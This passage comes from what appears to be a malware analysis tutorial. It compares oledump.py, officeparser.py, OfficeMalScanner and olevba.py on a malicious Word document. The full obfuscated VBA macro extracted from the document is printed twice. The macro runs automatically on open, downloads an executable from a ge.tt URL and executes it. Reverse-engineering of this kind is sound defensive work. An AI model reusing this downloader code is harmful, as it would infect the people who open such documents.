</span><span class='line'>Attribute <span class="nv">VB_Creatable</span> <span class="o">=</span> False
</span><span class='line'>Attribute <span class="nv">VB_PredeclaredId</span> <span class="o">=</span> True
</span><span class='line'>Attribute <span class="nv">VB_Exposed</span> <span class="o">=</span> True
</span><span class='line'>Attribute <span class="nv">VB_TemplateDerived</span> <span class="o">=</span> True
</span><span class='line'>Attribute <span class="nv">VB_Customizable</span> <span class="o">=</span> True
</span></code></pre></td></tr></table></div></figure>


<p> Given stream can be viewed by adding <code>-s</code> with an object number. As we know we are dealing with the <strong>VBA code</strong> the <code>-v</code> option will instruct <code>oledump.py</code> to decompress <strong>VBA code</strong> and make it easy to read.</p>

<p>Let&rsquo;s dump it for later comparison with other tools.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'>remnux@remnux:~/Desktop/AnalystH<span class="nv">$ </span>oledump.py -s9 -v malware1.doc &gt; attribute_code
</span></code></pre></td></tr></table></div></figure>


<p>Now let&rsquo;s move to the stream marked with capital <code>M</code>, this is usually where analysts find juicy stuff:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
<span class='line-number'>29</span>
<span class='line-number'>30</span>
<span class='line-number'>31</span>
<span class='line-number'>32</span>
<span class='line-number'>33</span>
<span class='line-number'>34</span>
<span class='line-number'>35</span>
<span class='line-number'>36</span>
<span class='line-number'>37</span>
<span class='line-number'>38</span>
<span class='line-number'>39</span>
<span class='line-number'>40</span>
<span class='line-number'>41</span>
<span class='line-number'>42</span>
<span class='line-number'>43</span>
<span class='line-number'>44</span>
<span class='line-number'>45</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'>remnux@remnux:~/Desktop/AnalystH<span class="nv">$ </span>oledump.py -s8 -v  malware1.doc
</span><span class='line'>
</span><span class='line'>Attribute <span class="nv">VB_Name</span> <span class="o">=</span> <span class="s2">&quot;NewMacros&quot;</span>
</span><span class='line'><span class="c">#If VBA7 Then</span>
</span><span class='line'>    Private Declare PtrSafe Function ProudtoBecomeaNepaliReverseEngineer Lib <span class="s2">&quot;urlmon&quot;</span> Alias <span class="s2">&quot;URLDownloadToFileA&quot;</span> _
</span><span class='line'>    <span class="o">(</span>ByVal JhjBjhGJHBfgjhffGggfGVgfVFGuHgHfGcV As Long, ByVal GyghGGBtgnfgdfGDFRGhojoJGBJFGhjFghJfHgh As String, ByVal tGtgfRDEVDFVUJUjhJGHJkujkuhJihuhBfgBF As String, ByVal lkaaJQQSxJfdLyE As Long, ByVal hujhBjhBfvcVcVdsswwsDswdFfgHUJFGHUJOIJJHhHjHGYYFtBVcfGGdGgDFGHuDfghuhDGhjjk As Long<span class="o">)</span> As Long
</span><span class='line'><span class="c">#Else</span>
</span><span class='line'>    Private Declare Function ProudtoBecomeaNepaliReverseEngineer Lib <span class="s2">&quot;urlmon&quot;</span> Alias <span class="s2">&quot;URLDownloadToFileA&quot;</span> _
</span><span class='line'>     <span class="o">(</span>ByVal gBfGFGHFGhRfghrtjgHJfGHJFGHjTyhjGFGVRFTRftyFtyFghDFvtRTRGfGDTR As Long, ByVal ltnbTaRjJOa6JYn As String, ByVal liCRZKNefyicowI As String, ByVal lGONydFEvaD5IuX As Long, ByVal lmRYfcuLs5uEk2Z As Long<span class="o">)</span> As Long
</span><span class='line'><span class="c">#End If</span>
</span><span class='line'>
</span><span class='line'>Sub AutoOpen<span class="o">()</span>
</span><span class='line'>    Dim loyagdbd As String
</span><span class='line'>    Dim hhNjnhbhghyjhtgjhGjhFGHjkGjkfGBJHDTRGVDTrhfg As String
</span><span class='line'>    <span class="nv">hhNjnhbhghyjhtgjhGjhFGHjkGjkfGBJHDTRGVDTrhfg</span> <span class="o">=</span> CurDir<span class="o">()</span>
</span><span class='line'>    Dim NewPath As String
</span><span class='line'>    <span class="nv">NewPath</span> <span class="o">=</span> Replace<span class="o">(</span>hhNjnhbhghyjhtgjhGjhFGHjkGjkfGBJHDTRGVDTrhfg, <span class="s2">&quot;\Desktop&quot;</span>, <span class="s2">&quot;\AppData\Roaming&quot;</span><span class="o">)</span>
</span><span class='line'>    <span class="nv">NewPath</span> <span class="o">=</span> <span class="s2">&quot;C:\Users\Public\Documents&quot;</span>
</span><span class='line'>    Dim CheckNumbers As String
</span><span class='line'>    <span class="nv">CheckNumbers</span> <span class="o">=</span> <span class="s2">&quot;&quot;</span>
</span><span class='line'>    Dim hFHBGjhGgFHdfGdfGHjHuIjhGhFGgHGtyFGgHUfgjhfgHJvbNfgUJHTyuiIUOIUJIYJHfg As String
</span><span class='line'>    Dim NewString As String
</span><span class='line'>    <span class="nv">NewString</span> <span class="o">=</span> <span class="s2">&quot;Umbrella HBjhbhjkshdjkhJNggg GjHgggJkmNjh .exe GjNghJGjhJggggJh ggJnggfgHfgHdfG dfGdfGHHfGHH dDFCdFGBHVBhGjijok ghnfVBFGRTYJh fCvFgyhBgHHhFvB&quot;</span>
</span><span class='line'>    Dim LotsofFuckingStringinallinOne As String
</span><span class='line'>    <span class="nv">LotsofFuckingStringinallinOne</span> <span class="o">=</span> <span class="s2">&quot;protection \ vulnerable worksheet wsc footage s rasberry student&quot;</span>
</span><span class='line'>    Dim AnotherShitisHereSaysthis As String
</span><span class='line'>    <span class="nv">AnotherShitisHereSaysthis</span> <span class="o">=</span> <span class="s2">&quot;SbieCtrl encryption deauthentication hell ript. intrusion wireshark&quot;</span>
</span><span class='line'>    Dim FinalWord As String
</span><span class='line'>    <span class="nv">FinalWord</span> <span class="o">=</span> CheckNumbers + Split<span class="o">(</span>LotsofFuckingStringinallinOne<span class="o">)(</span>4<span class="o">)</span> + CheckNumbers + Split<span class="o">(</span>AnotherShitisHereSaysthis<span class="o">)(</span>4<span class="o">)</span>
</span><span class='line'>    <span class="nv">hFHBGjhGgFHdfGdfGHjHuIjhGhFGgHGtyFGgHUfgjhfgHJvbNfgUJHTyuiIUOIUJIYJHfg</span> <span class="o">=</span> Split<span class="o">(</span>AnotherShitisHereSaysthis<span class="o">)(</span>0<span class="o">)</span> <span class="p">&amp;</span> Split<span class="o">(</span>NewString<span class="o">)(</span>3<span class="o">)</span>
</span><span class='line'>    <span class="nv">iJJHBujHgbgbtgftYtyuRwerqweRweoijhoIJOJnikjgHNFVBcv</span> <span class="o">=</span> <span class="s2">&quot;http://ge&quot;</span> <span class="p">&amp;</span> <span class="s2">&quot;.&quot;</span> <span class="p">&amp;</span> <span class="s2">&quot;tt/api/1/files/2gmBurF2/0/blob?download&quot;</span> + CheckNumbers
</span><span class='line'>    Dim IsProgramRegistered As String: <span class="nv">IsProgramRegistered</span> <span class="o">=</span> FinalWord <span class="p">&amp;</span> Split<span class="o">(</span>LotsofFuckingStringinallinOne<span class="o">)(</span>6<span class="o">)</span>
</span><span class='line'>    <span class="nv">ijHujhBujHBjHBgFfVGHGHjGhJFVGBHfvGFghJFV</span> <span class="o">=</span> CheckNumbers + CheckNumbers + CheckNumbers + <span class="s2">&quot;&quot;</span> + CheckNumbers + CheckNumbers
</span><span class='line'>    <span class="nv">lkFjuexVzhTjcrT</span> <span class="o">=</span> ijHujhBujHBjHBgFfVGHGHjGhJFVGBHfvGFghJFV <span class="p">&amp;</span> iJJHBujHgbgbtgftYtyuRwerqweRweoijhoIJOJnikjgHNFVBcv <span class="p">&amp;</span> <span class="s2">&quot;&quot;</span>
</span><span class='line'>    <span class="nv">iJghBfgBgBfgfVfBfVBFVBFhjhBjcVBcdVBCVBGBhjfGBFG</span> <span class="o">=</span> lkFjuexVzhTjcrT
</span><span class='line'>    <span class="nv">OIKJIKHJHBNJVbCVBCXVSDfsDFASdfwDEGERTYITIopoijhihujhb</span> <span class="o">=</span> NewPath <span class="p">&amp;</span> Split<span class="o">(</span>LotsofFuckingStringinallinOne<span class="o">)(</span>1<span class="o">)</span> <span class="p">&amp;</span> hFHBGjhGgFHdfGdfGHjHuIjhGhFGgHGtyFGgHUfgjhfgHJvbNfgUJHTyuiIUOIUJIYJHfg + CheckNumbers
</span><span class='line'>    <span class="nv">lRoosrSIPgRZZm4</span> <span class="o">=</span> OIKJIKHJHBNJVbCVBCXVSDfsDFASdfwDEGERTYITIopoijhihujhb
</span><span class='line'>    <span class="nv">lFA9cYQDsQOBIWU</span> <span class="o">=</span> ProudtoBecomeaNepaliReverseEngineer<span class="o">(</span>0, CheckNumbers + CheckNumbers + CheckNumbers + CheckNumbers + CheckNumbers + iJghBfgBgBfgfVfBfVBFVBFhjhBjcVBcdVBCVBGBhjfGBFG <span class="p">&amp;</span> CheckNumbers <span class="p">&amp;</span> CheckNumbers <span class="p">&amp;</span> CheckNumbers, CheckNumbers <span class="p">&amp;</span> CheckNumbers <span class="p">&amp;</span> CheckNumbers <span class="p">&amp;</span> OIKJIKHJHBNJVbCVBCXVSDfsDFASdfwDEGERTYITIopoijhihujhb <span class="p">&amp;</span> CheckNumbers <span class="p">&amp;</span> CheckNumbers, 0, 0<span class="o">)</span>
</span><span class='line'>
</span><span class='line'>   If Dir<span class="o">(</span>OIKJIKHJHBNJVbCVBCXVSDfsDFASdfwDEGERTYITIopoijhihujhb<span class="o">)</span> &lt;&gt; <span class="s2">&quot;&quot;</span> Then
</span><span class='line'>   Dim oJiHCFDFGEdCdfrVgyBHgyHJYGHjGbhYTfGHGfHJKHJJgUJIFGHjDfgHJdfh As Object
</span><span class='line'>   Set <span class="nv">oJiHCFDFGEdCdfrVgyBHgyHJYGHjGbhYTfGHGfHJKHJJgUJIFGHjDfgHJdfh</span> <span class="o">=</span> CreateObject<span class="o">(</span>IsProgramRegistered <span class="p">&amp;</span> Split<span class="o">(</span>AnotherShitisHereSaysthis<span class="o">)(</span>3<span class="o">))</span>
</span><span class='line'>   Set <span class="nv">oJiHCFDFGEdCdfrVgyBHgyHJYGHjGbhYTfGHGfHJKHJJgUJIFGHjDfgHJdfh</span> <span class="o">=</span> oJiHCFDFGEdCdfrVgyBHgyHJYGHjGbhYTfGHGfHJKHJJgUJIFGHjDfgHJdfh.exec<span class="o">(</span>OIKJIKHJHBNJVbCVBCXVSDfsDFASdfwDEGERTYITIopoijhihujhb<span class="o">)</span>
</span><span class='line'>   End If
</span><span class='line'>End Sub
</span></code></pre></td></tr></table></div></figure>


<p>It is safe to say we found our malicious code! We will dump the code for further analysis.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'>remnux@remnux:~/Desktop/AnalystH<span class="nv">$ </span>oledump.py -s8 -v  malware1.doc &gt; malicious-code
</span></code></pre></td></tr></table></div></figure>


<p>Before we will delve into deobfuscation and code analysis let&rsquo;s see how other tools cope with the same malicious file.</p>

<h4>officeparser.py</h4>

<p><code>officeparser.py</code> by <a href="https://github.com/unixfreak0037/officeparser">John William Davison</a> prints similar information as <code>oledump.py</code>, however it does not help analysts with marking objects containing <strong>VBA code</strong>.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'>remnux@remnux:~/Desktop/AnalystH<span class="nv">$ </span>officeparser.py -t malware1.doc
</span><span class='line'>1: Data
</span><span class='line'>2: 1Table
</span><span class='line'>3: WordDocument
</span><span class='line'>4: SummaryInformation
</span><span class='line'>5: DocumentSummaryInformation
</span><span class='line'>8: ThisDocument
</span><span class='line'>9: NewMacros
</span><span class='line'>10: _VBA_PROJECT
</span><span class='line'>11: dir
</span><span class='line'>12: PROJECTwm
</span><span class='line'>13: PROJECT
</span><span class='line'>14: CompObj
</span></code></pre></td></tr></table></div></figure>


<p>Even though <code>officeparser.py</code> does not highlight object of interest, macros can still be extracted with the <code>--extract-macros</code> option:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'>remnux@remnux:~/Desktop/AnalystH<span class="nv">$ </span>officeparser.py --extract-macros malware1.doc
</span></code></pre></td></tr></table></div></figure>


<p>Each macro object found will be saved to a separate file:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'>remnux@remnux:~/Desktop/AnalystH<span class="nv">$ </span>ls -laS
</span><span class='line'>total 204
</span><span class='line'>drwxrwxr-x <span class="m">2</span> remnux remnux   <span class="m">4096</span> 2015-05-17 08:06 .
</span><span class='line'>drwxrwxr-x <span class="m">3</span> remnux remnux   <span class="m">4096</span> 2015-05-11 15:18 ..
</span><span class='line'>-rw-rw-r-- <span class="m">1</span> remnux remnux   <span class="m">3819</span> 2015-05-17 07:47 malicious-code
</span><span class='line'>-rw-rw-r-- <span class="m">1</span> remnux remnux   <span class="m">3819</span> 2015-05-17 08:03 NewMacros.bas
</span><span class='line'>-rw-rw-r-- <span class="m">1</span> remnux remnux    <span class="m">285</span> 2015-05-17 08:06 attribute_code
</span><span class='line'>-rw-rw-r-- <span class="m">1</span> remnux remnux    <span class="m">285</span> 2015-05-17 08:03 ThisDocument.cls
</span></code></pre></td></tr></table></div></figure>


<p><code>officeparser.py</code> dumped exactly the same content as <code>oledump.py</code>:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'>remnux@remnux:~/Desktop/AnalystH/part1<span class="nv">$ </span>md5sum * <span class="p">|</span> sort -n
</span><span class='line'>c598c45b0d9d3090599ff1df77c5d612  attribute_code
</span><span class='line'>c598c45b0d9d3090599ff1df77c5d612  ThisDocument.cls
</span><span class='line'>8789d66197b3bbf265b8ed339d2f06e7  malicious-code
</span><span class='line'>8789d66197b3bbf265b8ed339d2f06e7  NewMacros.bas
</span></code></pre></td></tr></table></div></figure>


<h4>OfficeMalScanner</h4>

<p><code>OfficeMalScanner</code> written by <a href="http://www.reconstructer.org/code.html">Frank Boldewin</a> is less interactive but it automatically finds and extracts malicious code for further analysis. This is handy when we are interested in fast triage and code analysis only. <code>OfficeMalScanner</code> is not included in the newest <a href="https://zeltser.com/remnux-v6-release-for-malware-analysis/">REMnux v6</a>.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'>remnux@remnux:~/Desktop/AnalystH/part1<span class="nv">$ </span>OfficeMalScanner malware1.doc info
</span><span class='line'>
</span><span class='line'>+------------------------------------------+
</span><span class='line'><span class="p">|</span>           OfficeMalScanner v0.61         <span class="p">|</span>
</span><span class='line'><span class="p">|</span>  Frank Boldewin / www.reconstructer.org  <span class="p">|</span>
</span><span class='line'>+------------------------------------------+
</span><span class='line'>
</span><span class='line'><span class="o">[</span>*<span class="o">]</span> INFO mode selected
</span><span class='line'><span class="o">[</span>*<span class="o">]</span> Opening file malware1.doc
</span><span class='line'><span class="o">[</span>*<span class="o">]</span> Filesize is <span class="m">176640</span> <span class="o">(</span>0x2b200<span class="o">)</span> Bytes
</span><span class='line'><span class="o">[</span>*<span class="o">]</span> Ms Office OLE2 Compound Format document detected
</span><span class='line'>
</span><span class='line'>---------------------------------------
</span><span class='line'><span class="o">[</span>Scanning <span class="k">for</span> VB-code in MALWARE1.DOC<span class="o">]</span>
</span><span class='line'>---------------------------------------
</span><span class='line'>NewMacros
</span><span class='line'>ThisDocument
</span><span class='line'>-----------------------------------------------------------------------------
</span><span class='line'>                VB-MACRO CODE WAS FOUND INSIDE THIS FILE!
</span><span class='line'>               The decompressed Macro code was stored here:
</span><span class='line'>
</span><span class='line'>------&gt; Z:<span class="se">\h</span>ome<span class="se">\r</span>emnux<span class="se">\D</span>esktop<span class="se">\A</span>nalystH<span class="se">\p</span>art1<span class="se">\M</span>ALWARE1.DOC-Macros
</span><span class='line'>----------------------------------------------------------------------------
</span></code></pre></td></tr></table></div></figure>


<p>Let&rsquo;s check the files:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'>remnux@remnux:~/Desktop/AnalystH/part1/MALWARE1.DOC-Macros<span class="nv">$ </span>md5sum *
</span><span class='line'>8789d66197b3bbf265b8ed339d2f06e7  NewMacros
</span><span class='line'>76624a45e3d20ad3caeaa9d90d49dbbe  ThisDocument
</span></code></pre></td></tr></table></div></figure>


<p><code>OfficeMalScanner</code> was able to extract the same streams. The file <code>NewMacros</code> containing malicious script is exactly the same as extracted by other tools, however the file <code>ThisDocument</code> has different MD5 hash. By checking the content (omitted for brevity) it seems to merge parts of code from both streams containing VBA, which might confuse some of the analysts.</p>

<h4>olevba.py</h4>

<p><code>olevba.py</code> created by <a href="http://www.decalage.info/en/vba_tools">Decalage</a> performs all the steps of the process including the basic analysis of the code:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
<span class='line-number'>29</span>
<span class='line-number'>30</span>
<span class='line-number'>31</span>
<span class='line-number'>32</span>
<span class='line-number'>33</span>
<span class='line-number'>34</span>
<span class='line-number'>35</span>
<span class='line-number'>36</span>
<span class='line-number'>37</span>
<span class='line-number'>38</span>
<span class='line-number'>39</span>
<span class='line-number'>40</span>
<span class='line-number'>41</span>
<span class='line-number'>42</span>
<span class='line-number'>43</span>
<span class='line-number'>44</span>
<span class='line-number'>45</span>
<span class='line-number'>46</span>
<span class='line-number'>47</span>
<span class='line-number'>48</span>
<span class='line-number'>49</span>
<span class='line-number'>50</span>
<span class='line-number'>51</span>
<span class='line-number'>52</span>
<span class='line-number'>53</span>
<span class='line-number'>54</span>
<span class='line-number'>55</span>
<span class='line-number'>56</span>
<span class='line-number'>57</span>
<span class='line-number'>58</span>
<span class='line-number'>59</span>
<span class='line-number'>60</span>
<span class='line-number'>61</span>
<span class='line-number'>62</span>
<span class='line-number'>63</span>
<span class='line-number'>64</span>
<span class='line-number'>65</span>
<span class='line-number'>66</span>
<span class='line-number'>67</span>
<span class='line-number'>68</span>
<span class='line-number'>69</span>
<span class='line-number'>70</span>
<span class='line-number'>71</span>
<span class='line-number'>72</span>
<span class='line-number'>73</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'>remnux@remnux:~/Desktop/AnalystH/part1<span class="nv">$ </span>olevba.py malware1.doc
</span><span class='line'>olevba 0.27 - http://decalage.info/python/oletools
</span><span class='line'>Flags       Filename
</span><span class='line'>----------- -----------------------------------------------------------------
</span><span class='line'>OLE:MAS---- malware1.doc
</span><span class='line'>
</span><span class='line'><span class="o">(</span>Flags: <span class="nv">OpX</span><span class="o">=</span>OpenXML, <span class="nv">XML</span><span class="o">=</span>Word2003XML, <span class="nv">MHT</span><span class="o">=</span>MHTML, <span class="nv">M</span><span class="o">=</span>Macros, <span class="nv">A</span><span class="o">=</span>Auto-executable, <span class="nv">S</span><span class="o">=</span>Suspicious keywords, <span class="nv">I</span><span class="o">=</span>IOCs, <span class="nv">H</span><span class="o">=</span>Hex strings, <span class="nv">B</span><span class="o">=</span>Base64 strings, <span class="nv">D</span><span class="o">=</span>Dridex strings, ?<span class="o">=</span>Unknown<span class="o">)</span>
</span><span class='line'>
</span><span class='line'><span class="o">===============================================================================</span>
</span><span class='line'>FILE: malware1.doc
</span><span class='line'>Type: OLE
</span><span class='line'>-------------------------------------------------------------------------------
</span><span class='line'>VBA MACRO ThisDocument.cls
</span><span class='line'>in file: malware1.doc - OLE stream: u<span class="s1">&#39;Macros/VBA/ThisDocument&#39;</span>
</span><span class='line'>- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
</span><span class='line'><span class="o">(</span>empty macro<span class="o">)</span>
</span><span class='line'>-------------------------------------------------------------------------------
</span><span class='line'>VBA MACRO NewMacros.bas
</span><span class='line'>in file: malware1.doc - OLE stream: u<span class="s1">&#39;Macros/VBA/NewMacros&#39;</span>
</span><span class='line'>- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
</span><span class='line'><span class="c">#If VBA7 Then</span>
</span><span class='line'>    Private Declare PtrSafe Function ProudtoBecomeaNepaliReverseEngineer Lib <span class="s2">&quot;urlmon&quot;</span> Alias <span class="s2">&quot;URLDownloadToFileA&quot;</span> _
</span><span class='line'>    <span class="o">(</span>ByVal JhjBjhGJHBfgjhffGggfGVgfVFGuHgHfGcV As Long, ByVal GyghGGBtgnfgdfGDFRGhojoJGBJFGhjFghJfHgh As String, ByVal tGtgfRDEVDFVUJUjhJGHJkujkuhJihuhBfgBF As String, ByVal lkaaJQQSxJfdLyE As Long, ByVal hujhBjhBfvcVcVdsswwsDswdFfgHUJFGHUJOIJJHhHjHGYYFtBVcfGGdGgDFGHuDfghuhDGhjjk As Long<span class="o">)</span> As Long
</span><span class='line'><span class="c">#Else</span>
</span><span class='line'>    Private Declare Function ProudtoBecomeaNepaliReverseEngineer Lib <span class="s2">&quot;urlmon&quot;</span> Alias <span class="s2">&quot;URLDownloadToFileA&quot;</span> _
</span><span class='line'>     <span class="o">(</span>ByVal gBfGFGHFGhRfghrtjgHJfGHJFGHjTyhjGFGVRFTRftyFtyFghDFvtRTRGfGDTR As Long, ByVal ltnbTaRjJOa6JYn As String, ByVal liCRZKNefyicowI As String, ByVal lGONydFEvaD5IuX As Long, ByVal lmRYfcuLs5uEk2Z As Long<span class="o">)</span> As Long
</span><span class='line'><span class="c">#End If</span>
</span><span class='line'>
</span><span class='line'>Sub AutoOpen<span class="o">()</span>
</span><span class='line'>    Dim loyagdbd As String
</span><span class='line'>    Dim hhNjnhbhghyjhtgjhGjhFGHjkGjkfGBJHDTRGVDTrhfg As String
</span><span class='line'>    <span class="nv">hhNjnhbhghyjhtgjhGjhFGHjkGjkfGBJHDTRGVDTrhfg</span> <span class="o">=</span> CurDir<span class="o">()</span>
</span><span class='line'>    Dim NewPath As String
</span><span class='line'>    <span class="nv">NewPath</span> <span class="o">=</span> Replace<span class="o">(</span>hhNjnhbhghyjhtgjhGjhFGHjkGjkfGBJHDTRGVDTrhfg, <span class="s2">&quot;\Desktop&quot;</span>, <span class="s2">&quot;\AppData\Roaming&quot;</span><span class="o">)</span>
</span><span class='line'>    <span class="nv">NewPath</span> <span class="o">=</span> <span class="s2">&quot;C:\Users\Public\Documents&quot;</span>
</span><span class='line'>    Dim CheckNumbers As String
</span><span class='line'>    <span class="nv">CheckNumbers</span> <span class="o">=</span> <span class="s2">&quot;&quot;</span>
</span><span class='line'>    Dim hFHBGjhGgFHdfGdfGHjHuIjhGhFGgHGtyFGgHUfgjhfgHJvbNfgUJHTyuiIUOIUJIYJHfg As String
</span><span class='line'>    Dim NewString As String
</span><span class='line'>    <span class="nv">NewString</span> <span class="o">=</span> <span class="s2">&quot;Umbrella HBjhbhjkshdjkhJNggg GjHgggJkmNjh .exe GjNghJGjhJggggJh ggJnggfgHfgHdfG dfGdfGHHfGHH dDFCdFGBHVBhGjijok ghnfVBFGRTYJh fCvFgyhBgHHhFvB&quot;</span>
</span><span class='line'>    Dim LotsofFuckingStringinallinOne As String
</span><span class='line'>    <span class="nv">LotsofFuckingStringinallinOne</span> <span class="o">=</span> <span class="s2">&quot;protection \ vulnerable worksheet wsc footage s rasberry student&quot;</span>
</span><span class='line'>    Dim AnotherShitisHereSaysthis As String
</span><span class='line'>    <span class="nv">AnotherShitisHereSaysthis</span> <span class="o">=</span> <span class="s2">&quot;SbieCtrl encryption deauthentication hell ript. intrusion wireshark&quot;</span>
</span><span class='line'>    Dim FinalWord As String
</span><span class='line'>    <span class="nv">FinalWord</span> <span class="o">=</span> CheckNumbers + Split<span class="o">(</span>LotsofFuckingStringinallinOne<span class="o">)(</span>4<span class="o">)</span> + CheckNumbers + Split<span class="o">(</span>AnotherShitisHereSaysthis<span class="o">)(</span>4<span class="o">)</span>
</span><span class='line'>    <span class="nv">hFHBGjhGgFHdfGdfGHjHuIjhGhFGgHGtyFGgHUfgjhfgHJvbNfgUJHTyuiIUOIUJIYJHfg</span> <span class="o">=</span> Split<span class="o">(</span>AnotherShitisHereSaysthis<span class="o">)(</span>0<span class="o">)</span> <span class="p">&amp;</span> Split<span class="o">(</span>NewString<span class="o">)(</span>3<span class="o">)</span>
</span><span class='line'>    <span class="nv">iJJHBujHgbgbtgftYtyuRwerqweRweoijhoIJOJnikjgHNFVBcv</span> <span class="o">=</span> <span class="s2">&quot;http://ge&quot;</span> <span class="p">&amp;</span> <span class="s2">&quot;.&quot;</span> <span class="p">&amp;</span> <span class="s2">&quot;tt/api/1/files/2gmBurF2/0/blob?download&quot;</span> + CheckNumbers
</span><span class='line'>    Dim IsProgramRegistered As String: <span class="nv">IsProgramRegistered</span> <span class="o">=</span> FinalWord <span class="p">&amp;</span> Split<span class="o">(</span>LotsofFuckingStringinallinOne<span class="o">)(</span>6<span class="o">)</span>
</span><span class='line'>    <span class="nv">ijHujhBujHBjHBgFfVGHGHjGhJFVGBHfvGFghJFV</span> <span class="o">=</span> CheckNumbers + CheckNumbers + CheckNumbers + <span class="s2">&quot;&quot;</span> + CheckNumbers + CheckNumbers
</span><span class='line'>    <span class="nv">lkFjuexVzhTjcrT</span> <span class="o">=</span> ijHujhBujHBjHBgFfVGHGHjGhJFVGBHfvGFghJFV <span class="p">&amp;</span> iJJHBujHgbgbtgftYtyuRwerqweRweoijhoIJOJnikjgHNFVBcv <span class="p">&amp;</span> <span class="s2">&quot;&quot;</span>
</span><span class='line'>    <span class="nv">iJghBfgBgBfgfVfBfVBFVBFhjhBjcVBcdVBCVBGBhjfGBFG</span> <span class="o">=</span> lkFjuexVzhTjcrT
</span><span class='line'>    <span class="nv">OIKJIKHJHBNJVbCVBCXVSDfsDFASdfwDEGERTYITIopoijhihujhb</span> <span class="o">=</span> NewPath <span class="p">&amp;</span> Split<span class="o">(</span>LotsofFuckingStringinallinOne<span class="o">)(</span>1<span class="o">)</span> <span class="p">&amp;</span> hFHBGjhGgFHdfGdfGHjHuIjhGhFGgHGtyFGgHUfgjhfgHJvbNfgUJHTyuiIUOIUJIYJHfg + CheckNumbers
</span><span class='line'>    <span class="nv">lRoosrSIPgRZZm4</span> <span class="o">=</span> OIKJIKHJHBNJVbCVBCXVSDfsDFASdfwDEGERTYITIopoijhihujhb
